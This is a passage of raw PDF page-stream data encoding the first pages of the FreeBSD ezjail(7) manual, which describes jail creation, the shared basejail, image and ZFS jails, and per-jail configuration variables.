+2 0 obj +<< +/Length 7230 +>> +stream +BT +/TT2 1 Tf +10 0 0 10 72 756 Tm +0 g +/GS1 gs +0 Tc +0 Tw +[(N)20(AME)]TJ +/TT4 1 Tf +3 -1.2 TD +(ezjail)Tj +/TT6 1 Tf +3.8506 0 TD +[()-250(Jail administration frame)25(w)10(ork.)]TJ +/TT2 1 Tf +-6.8506 -2.4 TD +(SYNOPSIS)Tj +/TT4 1 Tf +3 -1.2 TD +(ezjail-admin)Tj +/TT8 1 Tf +7.8012 0 TD +(command arguments...)Tj +/TT2 1 Tf +-10.8012 -2.4 TD +[(O)50(VER)55(VIEW)]TJ +/TT6 1 Tf +3 -1.2 TD +0.0256 Tw +[(The ezjail commands pro)15(vide a simple w)10(ay to create multiple jails using FreeBSD)55(s)-275.6(jail system. It simpli)]TJ +/TT9 1 Tf +42.4046 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(es)Tj +-42.9608 -1.2 TD +[(jail administration ef)25(fort and minimizes jail system resource usage.)]TJ +0 -1.8 TD +0.0663 Tw +[(If you are not f)10(amiliar with the FreeBSD jail concept, please refer to)]TJ +/TT11 1 Tf +28.4531 0 TD +0 Tw +(jail)Tj +/TT6 1 Tf +2.4004 0 TD +0.0664 Tw +[(\(8\) before continuing. F)15(or addi-)]TJ +-30.8535 -1.2 TD +0 Tw +(tional design information, see the ezjail site at)Tj +/TT11 1 Tf +18.6333 0 TD +(http://erdgeist.org/arts/software/ezjail)Tj +/TT6 1 Tf +24.0039 0 TD +(.)Tj +/TT2 1 Tf +-45.6372 -2.4 TD +(DESCRIPTION)Tj +/TT6 1 Tf +3 -1.2 TD +0.2093 Tw +[(The ezjail system enables the system administrator to create multiple OS-le)25(v)15(e)0(l)-459.3(virtualization containers)]TJ +T* +0.0228 Tw +[(called jails. Services lik)10(e)-272.8(web serv)15(ers, mail serv)15(ers, FTP serv)15(ers, are typically under frequent attack from the)]TJ +T* +0.0564 Tw +[(public Internet and are e)15(xposed to possible compromise. The typical usage of jails is to run a single service)]TJ +T* +0.0732 Tw +(in each jail and if that service becomes compromised the rest of the jails and the host system are protected)Tj +T* +0 Tw +(from also being compromised.)Tj +0 -1.8 TD +0.0633 Tw +[(The major shortcoming of jails is that each jail has its o)25(wn cop)10(y)-313.3(o)0(f)-313.3(the w)10(orld. This eats disk space, inodes,)]TJ +0 -1.2 TD +0.1444 Tw +[(and more importantly)65(,)-394.4(pre)25(v)15(ents the sharing of binaries images between jails, thus increasing the memory)]TJ +T* +0.0065 Tw +(pressure on the host system. In addition, this causes a major administration headache when comes the time to)Tj +T* +0 Tw +[(update the host system, as each jail needs to be updated independently)65(.)]TJ +0 -1.8 TD +0.1293 Tw +(Ezjail addresses these problems by creating a single basejail \(a read-only)Tj +/TT11 1 Tf +30.8281 0 TD +0 Tw +(nullfs)Tj +/TT6 1 Tf +3.6006 0 TD +0.1293 Tw +(\(4\) mounted directory\))Tj +-34.4286 -1.2 TD +0.0059 Tw +(populated with the same binaries as the host system which is then shared across all the other service jails cre-)Tj +T* +0 Tw +(ated by ezjail. Is is possible to update the base jail \(and thus all the jails\) in a single ezjail command.)Tj +0 -1.8 TD +0.1181 Tw +[(T)80(ypical usage of jails include separation of services, creating test en)40(vironments, consolidation of dif)25(ferent)]TJ +0 -1.2 TD +-0.0001 Tc +0.0001 Tw +(services on a single physical host, and more.)Tj +/TT2 1 Tf +-3 -2.4 TD +0 Tc +0.1666 Tw +[(EZJ)30(AIL SYSTEM)]TJ +/TT6 1 Tf +3 -1.2 TD +0.0079 Tw +[(The administrati)25(v)15(e)15( )-15(interf)10(ace to the ezjail system is the)]TJ +/TT11 1 Tf +21.8746 0 TD +0 Tw +(ezjail-admin)Tj +/TT6 1 Tf +7.2012 0 TD +0.0078 Tw +(\(8\) command. It is used to install the)Tj +-29.0758 -1.2 TD +0.0455 Tw +[(ezjail en)40(vironment, create ne)25(w)-295.6(jails, archi)25(v)15(e)0(,)-295.6(restore, delete and update jails, open a jail console, and list the)]TJ +T* +0 Tw +[(status of all the jails. See belo)25(w)-250(for e)15(xample usage, and refer to its man page for complete usage details.)]TJ +0 -1.8 TD +0.0387 Tw +(Ezjail reads its con)Tj +/TT9 1 Tf +7.6967 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0387 Tw +(guration from its)Tj +/TT11 1 Tf +7.0873 0 TD +0 Tw +(ezjail.conf)Tj +/TT6 1 Tf +6.6011 0 TD +0.0387 Tw +[(\(5\). )-250(Normally)-288.7(it will not be necessary to edit this )]TJ +/TT9 1 Tf +20.3274 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(le,)Tj +-42.8248 -1.2 TD +1.3077 Tw +[(as some sane def)10(aults are pro)15(vided. A sample con)]TJ +/TT9 1 Tf +30.3468 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +1.3077 Tw +(guration is installed as)Tj +/TT11 1 Tf +-30.9029 -1.2 TD +0 Tw +(EZJAIL_PREFIX/etc/ezjail.conf.sample)Tj +/TT6 1 Tf +21.6035 0 TD +(.)Tj +-21.6035 -1.8 TD +0.0003 Tw +[(A)-250.3(script is also installed as)]TJ +/TT11 1 Tf +10.9447 0 TD +0 Tw +(ezjail)Tj +/TT6 1 Tf +3.8509 0 TD +0.0003 Tw +[(in the rc.d system to allo)25(w)-250.3(jails under ezjails control to be started at boot)]TJ +-14.7956 -1.2 TD +0 Tw +[(time, gi)25(v)15(e)0(n)-250(ezjail is enabled by setting the)]TJ +/TT11 1 Tf +17.0386 0 TD +(rc.conf)Tj +/TT6 1 Tf +4.2007 0 TD +[(\(5\) v)25(ariable )]TJ +/TT11 1 Tf +5.3051 0 TD +($ezjail_enable)Tj +/TT6 1 Tf +8.4014 0 TD +0.25 Tc +[(t)250(o)]TJ +/TT11 1 Tf +2.1655 0 TD +0 Tc +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +(.)Tj +/TT2 1 Tf +-41.9116 -2.4 TD +0.1666 Tw +[(WHA)95(TS IN A J)30(AIL)]TJ +1.2 -1.2 TD +0.0625 Tw +(The life of an ezjail installation)Tj +/TT6 1 Tf +1.8 -1.2 TD +0.04 Tw +(The base jail is )Tj +/TT9 1 Tf +6.4359 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.04 Tw +(rst created by running)Tj +/TT4 1 Tf +9.1571 0 TD +0 Tw +(ezjail-admin )Tj +7.4913 0 TD +(update)Tj +/TT6 1 Tf +3.8906 0 TD +(or)Tj +/TT4 1 Tf +1.123 0 TD +(ezjail-admin )Tj +7.4913 0 TD +(install)Tj +/TT6 1 Tf +4.2007 0 TD +[(.)-540(Exam-)]TJ +-40.3459 -1.2 TD +0.037 Tw +(ple usage of this command is section)Tj +/TT2 1 Tf +15.2282 0 TD +0 Tw +(EXAMPLES)Tj +/TT6 1 Tf +5.5562 0 TD +0.0369 Tw +[(.)-537(This will create the base jail, setup a template jail used)]TJ +-20.7844 -1.2 TD +0 Tw +[(to setting up ne)25(w)-250(jails, install an e)15(xample )]TJ +/TT9 1 Tf +16.7622 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +[(a)20(v)20(our \(see belo)25(w\) and con)]TJ +/TT9 1 Tf +10.4863 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(gure miscellaneous things.)Tj +-28.3608 -1.8 TD +0.0385 Tw +[(This step is necessary before using the ezjail system. In particular)40(,)-288.5(i)0(t)-288.5(i)0(s)-288.5(not possible to create ne)25(w)-288.6(jails with-)]TJ +0 -1.2 TD +0 Tw +[(out initializing the base jail in adv)25(ance.)]TJ +0 -1.8 TD +0.0171 Tw +[(Once the base jail has been created, ne)25(w)-267.1(jails may be created with)]TJ +/TT4 1 Tf +26.8521 0 TD +0 Tw +(ezjail-admin )Tj +7.4684 0 TD +(create)Tj +/TT6 1 Tf +3.6006 0 TD +0.0171 Tw +[(.)-517.1(A)-267.1(ne)25(w)-267.1(jail is)]TJ +-37.921 -1.2 TD +0 Tw +(de)Tj +/TT9 1 Tf +0.9438 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0179 Tw +[(ned by its name and can ha)20(v)15(e)15( )-15(one or multiple IP addresses. Creating a ne)25(w)-267.9(jail in)40(v)20(olv)15(es cop)10(ying the tem-)]TJ +-1.5 -1.2 TD +0.1211 Tw +[(plate jail to the ne)25(w)-371.1(location, con)]TJ +/TT9 1 Tf +14.0033 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(guring)Tj +/TT11 1 Tf +2.9819 0 TD +(nullfs)Tj +/TT6 1 Tf +3.6006 0 TD +0.1211 Tw +[(\(4\) mounts for gi)25(ving access to the base jail, and little)]TJ +-21.1419 -1.2 TD +0 Tw +(more. A jail that has just be created occupies about 2MB of disk space ; when running, only a handful of dae-)Tj +T* +[(mons \(cron, syslog, sendmail mainly\) use memory)65(.)]TJ +0 -1.8 TD +[(After their creation, jails may be archi)25(v)15(e)0(d)-250(t)0(o)-250(a)]TJ +/TT11 1 Tf +18.6187 0 TD +(pax)Tj +/TT6 1 Tf +1.8003 0 TD +[(\(1\) archi)25(v)15(e)0(,)-250(restored, and e)25(v)15(entually deleted.)]TJ +-23.419 -6 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(1)]TJ +ET +endstream +endobj +3 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT8 7 0 R +/TT9 8 0 R +/TT11 9 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +13 0 obj +<< +/Length 8093 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +3 -4.8 TD +0.098 Tw +[(When a ne)25(w)-348(v)15(ersion of FreeBSD is released, or when an errata is published, only the base jail need to be)]TJ +0 -1.2 TD +0.2264 Tw +(updated. Both source upgrades and binary upgrades \(using)Tj +/TT11 1 Tf +25.4998 0 TD +0 Tw +(freebsd-update)Tj +/TT6 1 Tf +8.4014 0 TD +0.2265 Tw +(\(8\)\) are supported. The)Tj +/TT11 1 Tf +-33.9011 -1.2 TD +0 Tw +(ports)Tj +/TT6 1 Tf +3.0005 0 TD +0.0251 Tw +[(\(7\) collection may also be updated by ezjail, b)20(ut indi)25(vidual ports need to be upgraded indi)25(vidually by)]TJ +-3.0005 -1.2 TD +0 Tw +[(the administrator)55(.)]TJ +/TT2 1 Tf +-1.8 -2.4 TD +0.0625 Tw +[(Anatomy of a J)15(ail)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0.0332 Tw +(In the ezjail system, a jail is de)Tj +/TT9 1 Tf +12.562 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0332 Tw +(ned by a root directory and a couple of con)Tj +/TT9 1 Tf +17.4868 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0332 Tw +[(guration v)25(alues, mainly a name)]TJ +-31.1611 -1.2 TD +0.0885 Tw +(and IP addresses. The root directory of the jail contains only the jail-speci)Tj +/TT9 1 Tf +30.581 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(c )Tj +/TT9 1 Tf +0.7823 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0885 Tw +(les: con)Tj +/TT9 1 Tf +3.171 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(guration )Tj +/TT9 1 Tf +3.671 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0885 Tw +(les, data)Tj +/TT9 1 Tf +-40.43 -1.2 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.3122 Tw +[(les, and ports installed by the administrator)55(.)-562.2(The base system is shared amongst all jails, using a)]TJ +/TT11 1 Tf +-0.5562 -1.2 TD +0 Tw +(nullfs)Tj +/TT6 1 Tf +3.6006 0 TD +0.0894 Tw +[(\(4\) mount. This sa)20(v)15(e)0(s)-339.5(space and inodes \(especially when the ports collection in made a)20(v)25(ailable to)]TJ +-3.6006 -1.2 TD +0 Tw +[(the jails\), and also memory)65(,)-250(a)0(s)-250(the k)10(ernel is no)25(w)-250(able to share copies of running programs between the jails.)]TJ +0 -1.8 TD +0.0145 Tw +[(Unless the v)25(ariable )]TJ +/TT11 1 Tf +8.3764 0 TD +0 Tw +($ezjail_jaildir)Tj +/TT6 1 Tf +9.0015 0 TD +0.0145 Tw +[()-264.5(has been set by the administrator)40(,)-264.5(the root directory of the jail is)]TJ +-17.3779 -1.2 TD +0 Tw +[(k)10(ept in)]TJ +/TT11 1 Tf +2.9895 0 TD +(/usr/jails)Tj +/TT6 1 Tf +6.001 0 TD +[(,)-250(which therefore needs to reside on a partition big enough.)]TJ +-8.9905 -1.8 TD +0.2476 Tw +(There are also )Tj +/TT9 1 Tf +6.6559 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2476 Tw +[(le-based jails, in which the storage space for the jail is k)10(ept in a )]TJ +/TT9 1 Tf +29.0316 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2476 Tw +(le mounted with)Tj +/TT11 1 Tf +-36.7998 -1.2 TD +0 Tw +(mdconfig)Tj +/TT6 1 Tf +4.8008 0 TD +0.0972 Tw +[(\(8\). )-250(There)-347.2(are tw)10(o)-347.2(adv)25(antages to image jails. The amount of disk space allocated to the jail is)]TJ +-4.8008 -1.2 TD +0.0136 Tw +[(limited, while normal jails ha)20(v)15(e)15( )-15(no)-263.6(bound on the amount of disk space the)15(y)-263.6(use. On the other hand, the space)]TJ +T* +0.079 Tw +[(dedicated to the jail is no longer a)20(v)25(ailable to the host, e)25(v)15(en)-329(if)-329(the jail doesn)18(t)-329(use all its allocated space. In)]TJ +T* +0.0305 Tw +[(addition, image jails contain a full cop)10(y)-280.5(o)0(f)-280.5(the basejail. This mak)10(es them portable between hosts running the)]TJ +T* +0.0338 Tw +[(same FreeBSD v)15(ersion as the image w)10(as created with.)-533.8(Of course, the jail no)25(w)-283.9(needs to be updated indepen-)]TJ +T* +0 Tw +[(dently from all other jails, and there is no longer an)15(y)-250(sharing of common )]TJ +/TT9 1 Tf +29.2833 0 TD +()Tj +/TT6 1 Tf +0.5561 0 TD +(les between the jails.)Tj +-29.8395 -1.8 TD +0.1359 Tw +(Image jails may also be encrypted using)Tj +/TT11 1 Tf +17.2521 0 TD +0 Tw +(bde)Tj +/TT6 1 Tf +1.8003 0 TD +0.1359 Tw +(\(4\) or)Tj +/TT11 1 Tf +2.7708 0 TD +0 Tw +(geli)Tj +/TT6 1 Tf +2.4004 0 TD +0.1359 Tw +[(\(8\), depending on the options gi)25(v)15(e)0(n)-385.8(a)0(t)-385.8(creation)]TJ +-24.2236 -1.2 TD +0 Tw +(time.)Tj +/TT2 1 Tf +-1.8 -2.4 TD +0.0625 Tw +(Using ZFS)Tj +/TT6 1 Tf +1.8 -1.2 TD +0.0383 Tw +[(T)80(o)80( )-80(gi)25(v)25( )278.3(e)-288.3(more precise control o)15(v)15(e)0(r)-288.3(the resources consumed by a jail, ezjail allo)25(ws putting each jail in its o)25(w)0(n)]TJ +/TT11 1 Tf +T* +0 Tw +(zfs)Tj +/TT6 1 Tf +1.8003 0 TD +(\(8\) )Tj +/TT9 1 Tf +1.416 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(lesystem. See)Tj +/TT2 1 Tf +5.6934 0 TD +[(J)15(ail Cr)18(eation Examples)]TJ +/TT6 1 Tf +10.2165 0 TD +(for details.)Tj +-19.6823 -1.8 TD +0.097 Tw +(Also, ezjail can be con)Tj +/TT9 1 Tf +9.4676 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.097 Tw +[(gured to install its basejail and the accompaning template for all ne)25(w)-347(jails into its)]TJ +-10.0237 -1.2 TD +-0.025 Tc +0 Tw +[(ow)-25(n)]TJ +/TT9 1 Tf +2.0123 0 TD +0 Tc +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0651 Tw +(lesystem. Set the )Tj +/TT11 1 Tf +7.6382 0 TD +0 Tw +($ezjail_use_zfs)Tj +/TT6 1 Tf +9.0015 0 TD +0.0652 Tw +[()-315.2(v)25(ariable in your)]TJ +/TT11 1 Tf +7.5107 0 TD +0 Tw +(ezjail.conf)Tj +/TT6 1 Tf +6.9163 0 TD +0.0652 Tw +(to YES before running)Tj +/TT4 1 Tf +-33.635 -1.2 TD +0 Tw +(ezjail-admin )Tj +7.4513 0 TD +(update)Tj +/TT6 1 Tf +3.8506 0 TD +(or)Tj +/TT4 1 Tf +1.083 0 TD +(ezjail-admin )Tj +7.4513 0 TD +(install)Tj +/TT6 1 Tf +4.2007 0 TD +(.)Tj +-24.0368 -1.8 TD +0.2555 Tw +[(T)80(o)80( )-80(use an)15(y)-505.5(zfs feature in ezjail, you )]TJ +/TT9 1 Tf +16.471 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2555 Tw +(rst need to con)Tj +/TT9 1 Tf +6.6259 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2555 Tw +(gure the destination ZFS )Tj +/TT9 1 Tf +11.1319 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2555 Tw +(lesystem using the)Tj +-35.8972 -1.2 TD +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +($ezjail_jailzfs)Tj +/TT6 1 Tf +9.0015 0 TD +[()-250(v)25(ariable.)]TJ +-9.4453 -1.8 TD +0.0588 Tw +[(Y)110(o)0(u)-308.8(can use ZFS jails without installing the basejail into its o)25(wn ZFS )]TJ +/TT9 1 Tf +28.7116 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0589 Tw +[(lesystem and vice v)15(ersa. In order to)]TJ +-29.2678 -1.2 TD +0 Tw +[(create ZFS jails by def)10(ault, set the )]TJ +/TT11 1 Tf +14.3186 0 TD +($ezjail_use_zfs_for_jails)Tj +/TT6 1 Tf +15.0024 0 TD +[()-250(v)25(ariable to YES.)]TJ +/TT2 1 Tf +-31.1211 -2.4 TD +0.0625 Tw +[(P)20(e)0(r)37(-)0(J)15(ail options)]TJ +/TT6 1 Tf +1.8 -1.2 TD +0.0048 Tw +[(As we sa)15(w)-254.9(earlier)40(,)-254.9(a)-254.8(jail is described by a )]TJ +/TT9 1 Tf +16.7927 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0048 Tw +(le in)Tj +/TT11 1 Tf +2.0091 0 TD +0 Tw +(EZJAIL_PREFIX/etc/ezjail/)Tj +/TT6 1 Tf +15.0024 0 TD +[(.)-504.8(This )]TJ +/TT9 1 Tf +2.7874 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0048 Tw +(le has the same)Tj +-37.704 -1.2 TD +0.0039 Tw +(name as the jail it con)Tj +/TT9 1 Tf +8.7666 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0039 Tw +[(gures. It is a set of v)25(ariables interpreted by)]TJ +/TT11 1 Tf +17.2824 0 TD +0 Tw +(sh)Tj +/TT6 1 Tf +1.2002 0 TD +0.004 Tw +[(\(1\), much lik)10(e)]TJ +/TT11 1 Tf +5.8892 0 TD +0 Tw +(rc.conf)Tj +/TT6 1 Tf +4.2007 0 TD +0.004 Tw +(\(5\) is. This )Tj +/TT9 1 Tf +4.6228 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +(le)Tj +-43.0742 -1.2 TD +[(is created at the same time as the jail, and usually doesn)18(t)-250(require tweaking from the administrator)55(.)]TJ +0 -1.8 TD +0.0229 Tw +[(In addition to the v)25(ariables described belo)25(w)65(,)65( )-65(an)15(y)15( )-15(v)25(ariable used by the init script)]TJ +/TT11 1 Tf +32.1841 0 TD +0 Tw +(/etc/rc.d/jail)Tj +/TT6 1 Tf +8.6742 0 TD +0.0228 Tw +(may be)Tj +-40.8582 -1.2 TD +0.0967 Tw +[(added manually by the administrator)55(.)-346.8(The follo)25(wing v)25(ariables are handled by ezjail, replacing J)60(AILN)35(AME)]TJ +T* +0 Tw +(with the actual name of the jail:)Tj +0 -1.8 TD +[(jail_J)60(AILN)35(AME_hostname)]TJ +4.1 -1.2 TD +0.0863 Tw +[(The hostname of the jail. Def)10(aults to the name of the jail, unless special characters needed to be)]TJ +T* +0 Tw +(stripped.)Tj +-4.1 -1.8 TD +[(jail_J)60(AILN)35(AME_ip)]TJ +4.1 -1.2 TD +[(The IP addresses the jail is allo)25(wed to use.)]TJ +-7.1 -6 TD +17.775 Tw +[(BSD January)-250(15, )17775(2011)-19470(2)]TJ +ET +endstream +endobj +14 0 obj +<< +/ProcSet [/PDF /Text ] +/Font << +/TT2 4 0 R +/TT4 5 0 R +/TT6 6 0 R +/TT9 8 0 R +/TT11 9 0 R +>> +/ExtGState << +/GS1 10 0 R +>> +>> +endobj +16 0 obj +<< +/Length 6219 +>> +stream +BT +/TT6 1 Tf +10 0 0 10 72 744 Tm +0 g +/GS1 gs +0 Tc +-0.0834 Tw +[(EZJ)60(AIL \(7\))-12017.9(User)55(s)-250(Supplementary )-83.4(Documents)-12017.9(EZJ)60(AIL \(7\))]TJ +7.1 -4.8 TD +0 Tw +[(Since FreeBSD 7.2, se)25(v)15(eral IP addresses may be gi)25(v)15(en, separated by commas.)]TJ +0 -1.8 TD +0.1325 Tw +(Since FreeBSD 9.0 each IP address can be pre)Tj +/TT9 1 Tf +19.582 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1325 Tw +[(x)15(ed by an interf)10(ace name follo)25(wed by the pipe)]TJ +-20.1381 -1.2 TD +0.1847 Tw +(symbol. It will then automatically be con)Tj +/TT9 1 Tf +17.5213 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.1846 Tw +[(gured on that interf)10(ace when the jail is started and)]TJ +-18.0774 -1.2 TD +0.0071 Tw +[(remo)15(v)15(e)0(d)-257.1(from the interf)10(ace when the jail stops. \(Y)110(ou will probably ha)20(v)15(e)15( )-15(to)-257.2(escape the pipe symbol,)]TJ +T* +0 Tw +(though.\))Tj +-4.1 -1.8 TD +[(jail_J)60(AILN)35(AME_rootdir)]TJ +4.1 -1.2 TD +0.2247 Tw +(The directory holding the jail )Tj +/TT9 1 Tf +13.0922 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2247 Tw +(les \(the directory used as a mount point for )Tj +/TT9 1 Tf +19.4344 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2247 Tw +(le-based jails\).)Tj +-33.639 -1.2 TD +0 Tw +[(Def)10(aults to the jail name inside )]TJ +/TT11 1 Tf +13.1526 0 TD +($ezjail_jaildir)Tj +/TT6 1 Tf +9.0015 0 TD +(.)Tj +-26.2541 -1.8 TD +[(jail_J)60(AILN)35(AME_e)15(x)15(ec_start)]TJ +4.1 -1.2 TD +0.1001 Tw +[(The command to run inside the jail when starting it. Def)10(aults to )]TJ +/TT11 1 Tf +27.2685 0 TD +0 Tw +($ezjail_exec_start)Tj +/TT6 1 Tf +10.8018 0 TD +0.3502 Tc +[(o)350.2(r)]TJ +-38.0703 -1.2 TD +0 Tc +()Tj +/TT11 1 Tf +0.4438 0 TD +(/bin/sh /etc/rc)Tj +/TT6 1 Tf +9.0015 0 TD +(.)Tj +-13.5453 -1.8 TD +[(jail_J)60(AILN)35(AME_e)15(x)15(ec_stop)]TJ +4.1 -1.2 TD +0.0862 Tw +[(The command to run inside the jail when stopping it. Def)10(aults to the empty string, which means)]TJ +T* +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +(/bin/sh /etc/rc.shutdown)Tj +/TT6 1 Tf +14.4023 0 TD +(.)Tj +-18.9462 -1.8 TD +[(jail_J)60(AILN)35(AME_mount_enable)]TJ +4.1 -1.2 TD +0.454 Tw +[(A)-704(boolean \(YES or NO\), that speci)]TJ +/TT9 1 Tf +18.5238 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.454 Tw +(es whether the )Tj +/TT9 1 Tf +7.3874 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.454 Tw +(lesystems in)Tj +/TT11 1 Tf +6.0745 0 TD +0 Tw +(/etc/fstab.)Tj +/TT8 1 Tf +-33.098 -1.2 TD +(JAILNAME)Tj +/TT6 1 Tf +5.0508 0 TD +(are carried out. Set by ezjail to )Tj +/TT11 1 Tf +12.9385 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +[(, set to at your o)25(wn risk.)]TJ +-23.8896 -1.8 TD +[(jail_J)60(AILN)35(AME_de)25(vfs_enable)]TJ +4.1 -1.2 TD +0.4343 Tw +[(A)-684.4(boolean specifying whether to mount a)]TJ +/TT11 1 Tf +19.8415 0 TD +0 Tw +(/dev)Tj +/TT9 1 Tf +3.0847 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.4343 Tw +[(lesystem inside the jail. Def)10(aults to)]TJ +-23.4823 -1.2 TD +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +($ezjail_devfs_enable)Tj +/TT6 1 Tf +12.002 0 TD +(, or )Tj +/TT11 1 Tf +2.4707 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +(.)Tj +-20.8168 -1.8 TD +[(jail_J)60(AILN)35(AME_de)25(vfs_ruleset)]TJ +4.1 -1.2 TD +0.6009 Tw +(The ruleset to apply when mounting a)Tj +/TT11 1 Tf +19.6194 0 TD +0 Tw +(/dev)Tj +/TT9 1 Tf +3.2513 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.6009 Tw +[(lesystem inside a jail. Def)10(aults to)]TJ +-23.4268 -1.2 TD +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +($ezjail_devfs_ruleset)Tj +/TT6 1 Tf +12.602 0 TD +(, or )Tj +/TT11 1 Tf +2.4707 0 TD +(devfsrules_jail)Tj +/TT6 1 Tf +9.0015 0 TD +(.)Tj +-28.6181 -1.8 TD +[(ezjail_J)60(AILN)35(AME_procfs)]TJ +4.1 -1.2 TD +0.3882 Tw +[(A)-638.2(boolean specifying whether to mount a)]TJ +/TT11 1 Tf +19.5187 0 TD +0 Tw +(/proc)Tj +/TT9 1 Tf +3.6386 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.3881 Tw +[(lesystem inside the jail. Def)10(aults to)]TJ +-23.7134 -1.2 TD +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +($ezjail_procfs_enable)Tj +/TT6 1 Tf +12.602 0 TD +(, or )Tj +/TT11 1 Tf +2.4707 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +(.)Tj +-21.4169 -1.8 TD +[(ezjail_J)60(AILN)35(AME_fdescfs)]TJ +4.1 -1.2 TD +0.2958 Tw +[(A)-545.8(boolean specifying whether to mount a)]TJ +/TT11 1 Tf +18.8719 0 TD +0 Tw +(/dev/fs)Tj +/TT9 1 Tf +4.7466 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +0.2959 Tw +[(lesystem inside the jail. Def)10(aults to)]TJ +-24.1746 -1.2 TD +0 Tw +()Tj +/TT11 1 Tf +0.4438 0 TD +($ezjail_fdescfs_enable)Tj +/TT6 1 Tf +13.2022 0 TD +(, or )Tj +/TT11 1 Tf +2.4707 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +(.)Tj +-22.017 -1.8 TD +[(ezjail_J)60(AILN)35(AME_image)]TJ +4.1 -1.2 TD +(The path to the image )Tj +/TT9 1 Tf +8.9692 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le backing the jail, if the jail is )Tj +/TT9 1 Tf +12.4131 0 TD +()Tj +/TT6 1 Tf +0.5562 0 TD +(le-based; or the empty string.)Tj +-26.5946 -1.8 TD +[(ezjail_J)60(AILN)35(AME_imagetype)]TJ +4.1 -1.2 TD +(The type of the image, if the jail is )Tj +/TT9 1 Tf +14.0513 0 TD +()Tj +/TT6 1 Tf +0.5561 0 TD +(le-based; the empty string otherwise.)Tj +-18.7074 -1.8 TD +[(ezjail_J)60(AILN)35(AME_attachparams)]TJ +4.1 -1.2 TD +0.0749 Tw +(The parameters to pass to the tool used to decrypt )Tj +/TT9 1 Tf +20.8545 0 TD +0 Tw +()Tj +/TT6 1 Tf +0.5562 0 TD +0.0749 Tw +(le-based, encrypted jails. Initialized from the)Tj +/TT3 1 Tf +-21.244 -1.2 TD +0 Tw +<00e9>Tj +/TT4 1 Tf +0.6001 0 TD +(C)Tj +/TT6 1 Tf +0.9723 0 TD +0.1222 Tw +[(option when creating such a jail, or the empty string.)-622.2()]TJ +/TT11 1 Tf +23.244 0 TD +0 Tw +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +0.1223 Tw +[()-372.2(i)0(f)-372.2(the jail requires interaction)]TJ +-26.7833 -1.2 TD +0.2779 Tw +[(with the administrator when starting \(typically)65(,)-527.9(encrypted jails that needs a passw)10(ord to be)]TJ +T* +0 Tw +(decrypted\).)Tj +-4.1 -1.8 TD +[(ezjail_J)60(AILN)35(AME_forceblocking)]TJ +4.1 -1.2 TD +(If )Tj +/TT11 1 Tf +1.3599 0 TD +(YES)Tj +/TT6 1 Tf +1.8003 0 TD +[(, start the jail e)25(v)15(en)-250(when it is mark)10(ed as blocking.)]TJ +-7.2602 -1.8 TD 